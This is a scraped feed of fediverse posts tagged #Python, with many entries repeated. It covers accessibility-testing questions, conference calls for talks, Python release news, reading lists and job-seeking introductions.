Are there any good web accessibility checkers for python? We have received some really helpful feedback from blind and visually impaired people and I wanted to honor their time by adding tests to prevent regression, and i am finding I am wanting to write a bunch of the WCAG guidelines as selenium tests in pytest. I know that a lot of the guidelines can't necessarily be automated, but stuff like "all images have alt, headers are in correct order and start at h1, buttons have labels," etc. Can be. I figured there should be some tool that I can point at a webpage and be like "tell me whats busted here" like I can to some extent with the Firefox accessbility properties inspector but am not finding any. Any tips?
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 19, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/19-readings_shared_02-19-25 #AI #CommonLisp #Coq #Haskell #ITP #LLMs #LeanProver #Logic #Math #Python #Reasoning
@NorthBayPython@social.northbaypython.org
PICTURE: Poppy Barn-cat is demanding to know why you haven't submitted a talk proposal for #NBPy yet, and also reminds you that you need to do so by Friday.
Details, and a place to submit your proposals here: https://pretalx.northbaypython.org/nbpy-2025/cfp #Python #PyCon
@digitalkrampus@mastodon.social
I've messed around with programmatic graphics to display on a 1.8" TFT panel connected to my Pi Cluster. Each node runs a cronjob of a python script to capture state into a .json file while a master node fetches those json files to then drive the LCD display.
I have a writeup for the whole build process of the Pi Cluster I created:
https://codingcipher.wordpress.com/2024/03/17/yet-another-pi-cluster/
@nopatience@swecyb.com
I'm a complete noob when it comes to source code management through git (one developer only).
Are there any good "for dummies" resources with clear and systematic workflows for how a single developer can work?
I'm trying to wrap my head around "branching/committing" often, tags and what not.
Right now I'm doing something wrong because I'm getting PRs on my own repo, I don't get it.
Need to learn.
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 18, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/18-readings_shared_02-18-25 #AI #CommonLisp #Haskell #LLMs #Math #Python
@pyladies_vancouver@fosstodon.org
>>> print("Hello world")
PyLadies Vancouver has entered Mastodon. Follow us to get news and events from our community.
Support and donate to us through Open Collective. Follow us on Bsky too!
🔗 https://opencollective.com/pyladies-vancouver
🦋 https://bsky.app/profile/pyladiesvancouver.bsky.social
@Jose_A_Alonso@mathstodon.xyz
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 17, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/17-readings_shared_02-17-25 #AI #Emacs #FunctionalProgramming #Haskell #ITP #LLMs #LeanProver #Math #Programmingo #Python
@bshankar@mastodon.online · Reply to James Gayfer's post
@jgayfer It also depends on your personality.
I have seen careful and pedantic coders build impressive things with python and js while I tend to make a mess that's impossible to maintain. I also waste many hours debugging.
So for me, a strictly typed language leads to long term productivity. I also take on bigger problems with confidence.
@NorthBayPython@social.northbaypython.org
Hello py-friends!
Our call for talk proposals is open for another few days (until Friday), but it's already looking like a vintage #NBPy. Why not put your name in and maybe join us?
Details and our submission form are at https://pretalx.northbaypython.org/nbpy-2025/cfp
@Jose_A_Alonso@mathstodon.xyz
To type or not to type? ~ Jonathan Chun. https://blog.jonathanchun.com/blog/2025/02/16/to-type-or-not-to-type/ #Python #Programming
@julie@merida.hair
Started trying to learn Django (again( this evening and got frustrated about how different learning resources use different conventions. It got too confusing for me trying just to set an overall index page that I had to stop.
Why don't tutorials show you how to set up a main index page before diving in to the app part? Why do I have multiple apps in a site and multiple sites in a project? Tell me why we're doing these things!
#Django #Python #Programming
@nogajun@mastodon.social
ゲームで学ぶPython! Pyxelではじめるレトロゲームプログラミング:書籍案内|技術評論社: https://gihyo.jp/book/2025/978-4-297-14657-3
@Jose_A_Alonso@mathstodon.xyz
@hugovk@mastodon.social
@leo @faassen
Python doesn't follow SemVer and there are indeed breaking changes in every Python minor version.
Tip: pay attention to deprecation warnings, and check the release notes for deprecations:
https://docs.python.org/3/whatsnew/3.11.html#deprecated
and removals:
https://docs.python.org/3/whatsnew/3.13.html#removed-modules-and-apis
There's also a dedication section to warn of upcoming removals:
@leo@raru.re
People: Rust is a stable language that takes backwards-compatibility very seriously.
Rust: This code compiles on 1.81 and fails to compile on 1.82.
https://godbolt.org/z/9GbbMKjcf
At least Python doesn't pretend to be backwards-compatible when they break things.
@ploum@mamot.fr
If you are a Unix nerd and wish you spend less time using your mouse while watching flashy colors, I recommend that you give Offpunk a try:
I’m trying to make it easier to get started with offpunk. Feedbacks and discussions are welcome on the mailing-list :
https://lists.sr.ht/~lioploum/offpunk-users
or on the fediverse, using the #offpunk hashtag. Or on your blog. That would be awesome to read blog posts about people using offpunk
@ploum@mamot.fr
If you are a Unix nerd and wish you spend less time using your mouse while watching flashy colors, I recommend that you give Offpunk a try:
I’m trying to make it easier to get started with offpunk. Feedbacks and discussions are welcome on the mailing-list :
https://lists.sr.ht/~lioploum/offpunk-users
or on the fediverse, using the #offpunk hashtag. Or on your blog. That would be awesome to read blog posts about people using offpunk
@hugovk@mastodon.social · Reply to Simon Willison's post
@simon Here's a real-life application of the new tail-calling interpreter in 3.14.0a5, a full build of the CPython docs is 1.26 times faster, saving 7.5 seconds!
@fractalkitty@mathstodon.xyz
Played with my haiku data today at recurse and made a toy to explore the original poems before becoming oulipo'd
This is very rough at the moment, but having fun.
@sethmlarson@fosstodon.org
Did you know that premier #Python talent uses @pycon Sponsors pages as a high-signal "Job Board"? Sponsoring a Python conference shows that your company is serious about Python and wants the community of practitioners to know it! 💜
This is how I found my previous job at #Elastic. Elastic was a Gold tier sponsor for PyCon 2019, thank you Elastic! 👏
So what Python talent are you missing out on by not having your name on this page, both this year and next? 🤔
@sethmlarson@fosstodon.org
Did you know that premier #Python talent uses @pycon Sponsors pages as a high-signal "Job Board"? Sponsoring a Python conference shows that your company is serious about Python and wants the community of practitioners to know it! 💜
This is how I found my previous job at #Elastic. Elastic was a Gold tier sponsor for PyCon 2019, thank you Elastic! 👏
So what Python talent are you missing out on by not having your name on this page, both this year and next? 🤔
@ambv@mastodon.social
Today is a good day. I built installers for #Python 3.14.0a5 for both Windows and macOS. My little fix to #xonsh immediately landed in a new release that was immediately picked up by #homebrew. They're also shipping Python 3.13.2. Upgrading was seamless.
I also upgraded to WezTerm yesterday and it's awesome. Images in the terminal? Why not! Let's make one with Alpha 5!
You can also test the release on your system by downloading it from
https://www.python.org/download/pre-releases/
@abnv@fantastic.earth
@NorthBayPython@social.northbaypython.org
We've extended our talk submissions window for another two weeks (until Feb 21st!) If you missed our original opening, fret not, and submit your talk ideas today! https://pretalx.northbaypython.org/nbpy-2025/cfp
@ambv@mastodon.social
Today is a good day. I built installers for #Python 3.14.0a5 for both Windows and macOS. My little fix to #xonsh immediately landed in a new release that was immediately picked up by #homebrew. They're also shipping Python 3.13.2. Upgrading was seamless.
I also upgraded to WezTerm yesterday and it's awesome. Images in the terminal? Why not! Let's make one with Alpha 5!
You can also test the release on your system by downloading it from
https://www.python.org/download/pre-releases/
@ambv@mastodon.social
Today is a good day. I built installers for #Python 3.14.0a5 for both Windows and macOS. My little fix to #xonsh immediately landed in a new release that was immediately picked up by #homebrew. They're also shipping Python 3.13.2. Upgrading was seamless.
I also upgraded to WezTerm yesterday and it's awesome. Images in the terminal? Why not! Let's make one with Alpha 5!
You can also test the release on your system by downloading it from
https://www.python.org/download/pre-releases/
@NorthBayPython@social.northbaypython.org
We've extended our talk submissions window for another two weeks (until Feb 21st!) If you missed our original opening, fret not, and submit your talk ideas today! https://pretalx.northbaypython.org/nbpy-2025/cfp
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0a5 🚀
https://discuss.python.org/t/python-3-14-0-alpha-5/80364
https://docs.python.org/3.14/whatsnew/3.14.html
Also recently released!
blurb 2.0.0
cherry-picker 3.5.0
pypistats 1.8.0
PrettyTable 3.13.0 & 3.14.0
tox-dev/action-pre-commit-uv 1.0.2
em-keyboard 5.0.0
@bshaurette@social.linux.pizza
@ricmac@mastodon.social · Reply to Richard MacManus's post
2/2 I have to thank @stefan for his inspiration and @botwiki website — a great bots resource! Also shoutout to @simon, whose post guided the structure I chose: https://til.simonwillison.net/mastodon/mastodon-bots-github-actions. I'm using a #Python script running on GitHub Actions, with screenshots taken via Playwright.
Other credits:
- ChatGPT helped me build this.
- I’m hosting my bot on @tchambers Indieweb.social instance.
- And finally, of course, I’m using @internetarchive's Wayback Machine for the content snapshots.
@ricmac@mastodon.social · Reply to Richard MacManus's post
2/2 I have to thank @stefan for his inspiration and @botwiki website — a great bots resource! Also shoutout to @simon, whose post guided the structure I chose: https://til.simonwillison.net/mastodon/mastodon-bots-github-actions. I'm using a #Python script running on GitHub Actions, with screenshots taken via Playwright.
Other credits:
- ChatGPT helped me build this.
- I’m hosting my bot on @tchambers Indieweb.social instance.
- And finally, of course, I’m using @internetarchive's Wayback Machine for the content snapshots.
@ricmac@mastodon.social · Reply to Richard MacManus's post
2/2 I have to thank @stefan for his inspiration and @botwiki website — a great bots resource! Also shoutout to @simon, whose post guided the structure I chose: https://til.simonwillison.net/mastodon/mastodon-bots-github-actions. I'm using a #Python script running on GitHub Actions, with screenshots taken via Playwright.
Other credits:
- ChatGPT helped me build this.
- I’m hosting my bot on @tchambers Indieweb.social instance.
- And finally, of course, I’m using @internetarchive's Wayback Machine for the content snapshots.
@Jose_A_Alonso@mathstodon.xyz
Proving the coding interview: A benchmark for formally verified code generation. ~ Quinn Dougherty, Ronak Mehta. https://arxiv.org/abs/2502.05714 #AI #LLMs #Python #ITP
@smagnusson@graphics.social
Hello, I'm Spencer Magnusson 👋🏻 CG pipeline engineer by day, Blender enthusiast by night. And weekends. I love solving problems and telling stories with digital mediums and 3D graphics -- animation, code, CGI, games.
Proud husband and father. Singleplayer gamer but terribly slow in catching trends. Past experience in web development and visual effects, both short films and TV.
@Jose_A_Alonso@mathstodon.xyz
@weltraumpoet@nerdculture.de
Hallo,
ich suche zur Zeit einen #Job als #Softwareentwickler im Raum #Potsdam oder #Remote
Ich bin Diplom- #Informatik-er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit
#Cpp
#Csharp
#Javascript
#Typescript
#CSS
#HTML
#Java
#Python
#Angular & #Ionic
#MFC, #WindowsForms & #WPF
…
Auch #Docker, Gitlab-#Pipelines oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf #Windows, #Linux, und auch ein wenig auf MacOS.
Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.
Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.
Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.
Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.
Vielleicht findet sich ja etwas über diese Plattform.
Vielen Dank.
@weltraumpoet@nerdculture.de
Hallo,
ich suche zur Zeit einen #Job als #Softwareentwickler im Raum #Potsdam oder #Remote
Ich bin Diplom- #Informatik-er mit 12 Jahren Berufserfahrung.
Bisher arbeitete ich mit
#Cpp
#Csharp
#Javascript
#Typescript
#CSS
#HTML
#Java
#Python
#Angular & #Ionic
#MFC, #WindowsForms & #WPF
…
Auch #Docker, Gitlab-#Pipelines oder Azure DevOps sind mir nicht fremd. Ich bewegte mich bisher auf #Windows, #Linux, und auch ein wenig auf MacOS.
Irgendwo anzukommen und mich in einem konstruktiven Umfeld einzubringen, fände ich sehr schön.
Ich arbeite mich gerne in neue Felder ein, so würde mich unter Anderem die Embedded-Entwicklung interessieren, aber auch Sprachen wie Rust.
Ich spreche mich gern im Team ab oder lasse mich durch Kollegen in meiner Arbeit inspirieren, und bringe gerne meine Erfahrungen ein.
Auf Anfrage mit ein paar Informationen schicke ich gerne eine Bewerbung oder Ähnliches.
Vielleicht findet sich ja etwas über diese Plattform.
Vielen Dank.
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@FunkyBob@chaos.social
Hello, again #FediHire ... seems my contract is winding up sooner than expected.
Anyone need a #Python / #Django / Web / #Javascript senior dev with decades of experience?
Comfortable with #React and #htmx
And can tune your #postgres DBMS to keep it delivering
Based in Melbourne, Australia, and quite practiced at working remote.
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee)'s post
A #Python implementation of the #ActivityPub signature algorithms (HTTP Signatures, Linked Data Signatures, and Object Integrity Proofs) being developed by Amase Cocoa (@cocoa_vrc).
@skyizwhite@himagine.club
人は寒すぎると何になる?~7400Tweetを分析して見えた答え~ #Python - Qiita qiita.com/odanny/items/6727b3f813dd4e0ff406
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 6, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/06-readings_shared_02-06-25 #ITP #LeanProver #Math #CategoryTheory #Haskell #Python #CommonLisp #Emacs #Elisp #LLMs
@qiita@rss-mstdn.studiofreesia.com
💟🎉初めてのAI開発!ワクワクしながら作った問い合わせ対応チャットボット🎉💟
https://qiita.com/SatoRyota_zvc/items/c5d647f5174ca8136bcb?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@Jose_A_Alonso@mathstodon.xyz
@AugierLe42e@diaspodon.fr
Plus le temps passe et plus je trouve que le système de visibilité de Java/Kotlin (internal/private/public) est mauvais. Je préfèrerais un système à la Python où la visibilité n'est qu'indicative mais le langage ne t'empêche pas d'aller mettre tes mains dans les entrailles du système.
Combien de fois j'ai pu patcher des bugs ou des fonctionnalités manquantes dans Django parce que Python me le permettait ?
@hugovk@mastodon.social
🎈🐍🎈 Exciting news! I've joined @sovtechfund's Sovereign Tech Fellowship to maintain critical digital infrastructure in the #Python world!
https://hugovk.dev/blog/2025/im-excited-to-join-the-sovereign-tech-fellowship/
And meet my fellow Fellows:
https://www.sovereign.tech/news/meet-the-sovereign-tech-fellows
@hugovk@mastodon.social
🎈🐍🎈 Exciting news! I've joined @sovtechfund's Sovereign Tech Fellowship to maintain critical digital infrastructure in the #Python world!
https://hugovk.dev/blog/2025/im-excited-to-join-the-sovereign-tech-fellowship/
And meet my fellow Fellows:
https://www.sovereign.tech/news/meet-the-sovereign-tech-fellows
@Jose_A_Alonso@mathstodon.xyz
Elisp cheatsheet for Python programmers. ~ Charles Choi. https://github.com/kickingvegas/elisp-for-python #Python #Emacs #Elisp
@qiita@rss-mstdn.studiofreesia.com
@FunkyBob@chaos.social
Hello, again #FediHire ... seems my contract is winding up sooner than expected.
Anyone need a #Python / #Django / Web / #Javascript senior dev with decades of experience?
Comfortable with #React and #htmx
And can tune your #postgres DBMS to keep it delivering
Based in Melbourne, Australia, and quite practiced at working remote.
@profoundlynerdy@bitbang.social
All languages have life cycles. Hell, some even go dormant and become popular — or unexpectedly critical – again.
What would qualities would a language need to have to eventually threaten Python's dominance? My fear is any innovative ideas will just get absorbed. Yes, I realize much of #Python's muscle is marketing by big industry players.
#programming #perl #python #raku #forth #assembly #cplusplus #cpp #js #fortran #cobol #BASIC #nimlang #golang
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 4, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/04-readings_shared_02-04-25 #Haskell #Python #CommonLisp
@qiita@rss-mstdn.studiofreesia.com
【M5 Stack Module LLM】NPU上で文章生成~音声生成をまるっと行う
https://qiita.com/zawatti/items/7da231e428b93841d168?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@irfan@sakurajima.social
#FediHire 🥳
I'm a #Programmer/#SoftwareEngineer. I'm most fluent in #Python, have some basics in #Java and #C++, but I'm also taking up new languages like #Javascript and others in my eternal journey of getting better and minimising the impostor syndrome that befalls pretty much all programmers (I feel). I'm also very experienced in #CloudNative/#DevOps technologies, and have been the one devising solutions and maintaining infrastructure in a fast-paced startup environment in my previous employment.
I'm passionate in what I do and those that know me here or IRL would know that I'm always yapping about the things I'm learning or working on - I love discussing them, and I love helping people out - esp those on the same boat as me.
This passion has led me into writing and maintaining tons of #FOSS projects like Mango: a content distribution framework based on #Django for #Mastodon and #Bluesky that powers various bots of mine like @lowyat@mastodon.social and @waktusolat@mastodon.social, Charts: a #Helm chart repository for an easy and reproducible deployment strategy for all my projects and everything else I self-host on my #homelab, and Orked: O-tomated #RKE2 distribution, a collection of scripts I wrote that are comprehensively documented to enable everyone to self-host a production-grade #Kubernetes cluster for absolutely free in their homes.
I'm based in Malaysia, but I'm open to just about any on-site, hybrid, or remote job opportunities anywhere. In the meantime though, I'm actively looking for a job in countries like #Japan and #Singapore, in a bid for a desperate lifestyle change. I've linked below my Portfolio (which you too, could self-host your own!), for those who'd wish to connect/learn more of me. Thank you ❤️
🔗 https://l.irfanhak.im/resume
@irfan@sakurajima.social
#FediHire 🥳
I'm a #Programmer/#SoftwareEngineer. I'm most fluent in #Python, have some basics in #Java and #C++, but I'm also taking up new languages like #Javascript and others in my eternal journey of getting better and minimising the impostor syndrome that befalls pretty much all programmers (I feel). I'm also very experienced in #CloudNative/#DevOps technologies, and have been the one devising solutions and maintaining infrastructure in a fast-paced startup environment in my previous employment.
I'm passionate in what I do and those that know me here or IRL would know that I'm always yapping about the things I'm learning or working on - I love discussing them, and I love helping people out - esp those on the same boat as me.
This passion has led me into writing and maintaining tons of #FOSS projects like Mango: a content distribution framework based on #Django for #Mastodon and #Bluesky that powers various bots of mine like @lowyat@mastodon.social and @waktusolat@mastodon.social, Charts: a #Helm chart repository for an easy and reproducible deployment strategy for all my projects and everything else I self-host on my #homelab, and Orked: O-tomated #RKE2 distribution, a collection of scripts I wrote that are comprehensively documented to enable everyone to self-host a production-grade #Kubernetes cluster for absolutely free in their homes.
I'm based in Malaysia, but I'm open to just about any on-site, hybrid, or remote job opportunities anywhere. In the meantime though, I'm actively looking for a job in countries like #Japan and #Singapore, in a bid for a desperate lifestyle change. I've linked below my Portfolio (which you too, could self-host your own!), for those who'd wish to connect/learn more of me. Thank you ❤️
🔗 https://l.irfanhak.im/resume
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Posiciones de las diagonales principales. https://jaalonso.github.io/exercitium/posts/2025/02/04-posiciones_diagonales_principales/ #Haskell #Python #CommonLisp
@Jose_A_Alonso@mathstodon.xyz
Readings shared February 3, 2025. https://jaalonso.github.io/vestigium/posts/2025/02/03-readings_shared_02-03-25 #ITP #LeanProver #IsabelleHOL #Haskell #Python #CommonLisp #Maxima #Math
@jonn@social.doma.dev · Reply to alexandra's post
@xandra I'm so happy that someone's doing what I wanted to[1]. I'd be happy to write as well as contribute during review process if someone needs contributions.
Sadly, I've decided to post what I have worked on for #FlakeMag in my blog, but in the spirit of 5th code jam[2], I could write a how-to article about setting up swarms of virtual machines on #Linux.
Alternatively, I can write an entry-level article about how to archive web pages and scrape stuff easily with #python (ugh) and/or #typescript.
Even more alternatively, as the most "good-interenetey" option, I can write an article about how and why to use #zulip for team and community management: guidelines, topic structures, etc.
[1]: https://social.doma.dev/@jonn/112202043937657180
[2]: https://32bit.cafe/~xandra/events/codejam5/
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
@qiita@rss-mstdn.studiofreesia.com
@maugendre@hachyderm.io · Reply to Eric Maugendre's post
Accuracy! To counter regression dilution, a method is to add a constraint on the statistical modeling.
Regression Redress restrains bias by segregating the residual values.
My article: http://data.yt/kit/regression-redress.html
#bias #modeling #dataDev #AIDev #modelEvaluation #regression #modelling #dataLearning #linearRegression #probability #probabilities #statistics #stats #correctionRatio #ML #distributions #accuracy #RegressionRedress #Python #RStats
@nev@bananachips.club
Okay fedi. I *know* you can help me with this.
New OS. (My /home is a separate partition, but everything else is new.) New year (of the Snake). I wanna do things right from now on and run every Python thing in a venv and what not. Can I just, like, delete the ~/.local/lib/python-3*/site-packages directories and start over and be fine? I am okay with reinstalling everything.
(I'm not talking /usr/local/lib. JUST the stuff in my home directory.)
@qiita@rss-mstdn.studiofreesia.com
@thias@mastodon.social
Treasure Hunt – Braille Hints
So I prepared a treasure hunt for my older daughter, which involved some form of coded message. I found a braille table I could 3D-print, using a real system instead of some made-up code gave me the opportunity to explain how/why this was used in reality, you find braille codes in lifts, staircase handrails.
@ptmcg@fosstodon.org
@hynek@mastodon.social
There is some beauty in the fact that my oldest #Python project `first` is still in the top 1% of PyPI. The last release was six years ago, I don’t expect another one ever again, and yet its functionality never made it into the standard library due to gatekeeping.
@vwillcox@friendica.world
My name is Vince, I live in #Colchester in the #uk
I love to talk and play with all sorts of #Technology including but not limited to #RaspberryPi #Servers, #Dockers and much more.
I watch #StarTrek on repeat and #Stargate.
I like to tinker with code in #Python mainly.
For a day job from 1st Jan 2024 I am now the Technical Support Manager for #CivicaUK in their Local Government department.
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 31, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/31-readings_shared_01-31-25 #Haskell #Python #CommonLisp #SMT
@nedbat@hachyderm.io
You can write a #Python generator even if it's only used in one place to make a list.
https://nedbatchelder.com/blog/202501/intricate_interleaved_iteration.html
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Ordenación por el máximo. https://jaalonso.github.io/exercitium/posts/2025/01/29-ordenados_por_maximo/ #Haskell #Python #CommonLisp
@pythonbynight@fosstodon.org
Alright... finally got some documentation up for my League Manager package up on @readthedocs
Take a look!
@pythonbynight@fosstodon.org
Alright... finally got some documentation up for my League Manager package up on @readthedocs
Take a look!
@itamarst@hachyderm.io
I had always thought that BytesIO.getvalue() copied all the memory. Turns out I was wrong, and the CPython developers had a trick up their sleeves.
https://pythonspeed.com/articles/bytesio-reduce-memory-usage/
@qiita@rss-mstdn.studiofreesia.com
小型モデルも低コストで高性能に!話題の「DeepSeek」の推論力を支える技術とは?
https://qiita.com/ryosuke_ohori/items/f5852495947219ccef84?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@itamarst@hachyderm.io
I had always thought that BytesIO.getvalue() copied all the memory. Turns out I was wrong, and the CPython developers had a trick up their sleeves.
https://pythonspeed.com/articles/bytesio-reduce-memory-usage/
@yossarian@infosec.exchange
you can now archive projects on PyPI!
this work was done by my teammate Facundo and is part of a larger multi-year arc of work dedicated to landing security and usability improvements on PyPI:
https://blog.trailofbits.com/2025/01/30/pypi-now-supports-archiving-projects/
@ploum@mamot.fr
Released Offpunk 2.5 which add custom "aliases" and improve compatibility with #openbsd and #python version < 3.11
What is Offpunk?
https://offpunk.net/whatisoffpunk.html
You are welcome to discuss and ask questions on the offpunk-users list:
https://lists.sr.ht/~lioploum/offpunk-users
If you are familiar with python development, join the offpunk-devel list to help intregrate offpunk and unmerdify, a new library developed by @vjousse :
https://lists.sr.ht/~lioploum/offpunk-devel/%3C4841675b-b03e-4c80-9677-ddc18d840656@jousse.org%3E
@yossarian@infosec.exchange
you can now archive projects on PyPI!
this work was done by my teammate Facundo and is part of a larger multi-year arc of work dedicated to landing security and usability improvements on PyPI:
https://blog.trailofbits.com/2025/01/30/pypi-now-supports-archiving-projects/
@LeonianUniverse@caneandable.social
Any #Blind programmers out there, I am seeking help. You see, one of my biggest projects was to learn how to code using #Python, but I don't know where to get started in an accessible way. I am looking to find accessible resources so that I can learn how to do this in a viable way, and I need help to find some as I've done my own research and can't really determine which ones are the best to use to get started with learning. Any help would be appreciated for sure.
@ploum@mamot.fr
Released Offpunk 2.5 which add custom "aliases" and improve compatibility with #openbsd and #python version < 3.11
What is Offpunk?
https://offpunk.net/whatisoffpunk.html
You are welcome to discuss and ask questions on the offpunk-users list:
https://lists.sr.ht/~lioploum/offpunk-users
If you are familiar with python development, join the offpunk-devel list to help intregrate offpunk and unmerdify, a new library developed by @vjousse :
https://lists.sr.ht/~lioploum/offpunk-devel/%3C4841675b-b03e-4c80-9677-ddc18d840656@jousse.org%3E
@LeonianUniverse@caneandable.social
Any #Blind programmers out there, I am seeking help. You see, one of my biggest projects was to learn how to code using #Python, but I don't know where to get started in an accessible way. I am looking to find accessible resources so that I can learn how to do this in a viable way, and I need help to find some as I've done my own research and can't really determine which ones are the best to use to get started with learning. Any help would be appreciated for sure.
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@adrianc@hachyderm.io
Hi!
I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa
I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT
I'm experienced using #Elixir, #Phoenix, #LiveView, #NodeJS, #TypeScript, #Fastify, #Express and #Python ; and on the DevOps side in CI/CD pipelines (either #GithubActions and Gitlab CI/CD), #Docker and a bit of #Kubernetes
I was tasked with a lot of the #innovation happening in my previous company, researching tools, librairies, patterns or general technologies either for our own #DeveloperExperience or for our products
I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu
You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting
I’m open to full-time right now, contracting work can be discussed.
I'm looking for any developer position, not only #ElixirLang, even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P
DM me for more info, like github link, my resume or anything :)
Boosts, responses and DM welcome, of course!
#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork
@paulox@fosstodon.org · Reply to psycopg's post
@psycopg I am honored to have participated in the resolution of issue #999 :)
https://github.com/psycopg/psycopg/issues/999
#Django #Psycopg #PostgreSQL #Memcached #PyLibMC #Python #Cache
@adrianc@hachyderm.io
Hi!
I'm Adrian, a FullStack #Developer looking for a job either in #Québec (or from it if you allow for remote work), with a permanent and open visa
I have experience building and maintaining web apps and APIs, designing systems, doing #DevOps and a bit of #BigData, #MachineLearning and #IoT
I'm experienced using #Elixir, #Phoenix, #LiveView, #NodeJS, #TypeScript, #Fastify, #Express and #Python ; and on the DevOps side in CI/CD pipelines (either #GithubActions and Gitlab CI/CD), #Docker and a bit of #Kubernetes
I was tasked with a lot of the #innovation happening in my previous company, researching tools, librairies, patterns or general technologies either for our own #DeveloperExperience or for our products
I also wrote a lot of technical and non technical documentation and internal presentations, and even participated in a few meetups. You can read some of my writing on my blog: https://blog.adrianc.eu
You might also have seen me on a few Elixir-related Discord servers, or even Bluesky (@adrianc.eu) and Twitter ; either sharing tech news, helping people, reading in book clubs or just chatting
I’m open to full-time right now, contracting work can be discussed.
I'm looking for any developer position, not only #ElixirLang, even though it represents most of my experience. And if the technology you're using isn't on my resume, give me a chance! I'm a fast learner and I might anyway have studied it in class :P
DM me for more info, like github link, my resume or anything :)
Boosts, responses and DM welcome, of course!
#MyElixirStatus #FediJobs #FediJob #FediGetHired #OpenToWork
@heads@datasci.social
🚀 We’re here! Meet HeaDS – Center for Health Data Science! 🚀
The #UCPH #CenterForHealthDataScience (#HeaDS) is now on Mastodon! #Introduction 🎉
We offer #HealthDataScience support through #Python, #RStats, #AI, #MachineLearning, #Genomics, #HPC & more!
📚 Free #courses & #workshops
📊 Data support via #SUNDDataLab
🤝 #Networking at #TalkingHeaDS seminars
Follow us for #Bioinformatics, #Datascience #BigData & #OpenScience updates! 🌐 https://heads.ku.dk/
@heads@datasci.social
🚀 We’re here! Meet HeaDS – Center for Health Data Science! 🚀
The #UCPH #CenterForHealthDataScience (#HeaDS) is now on Mastodon! #Introduction 🎉
We offer #HealthDataScience support through #Python, #RStats, #AI, #MachineLearning, #Genomics, #HPC & more!
📚 Free #courses & #workshops
📊 Data support via #SUNDDataLab
🤝 #Networking at #TalkingHeaDS seminars
Follow us for #Bioinformatics, #Datascience #BigData & #OpenScience updates! 🌐 https://heads.ku.dk/
@ptmcg@fosstodon.org
Pyparsing sightings - recent posts/pages using pyparsing (2/2):
- ciscoconfparse parses configuration files for various network devices using pyparsing
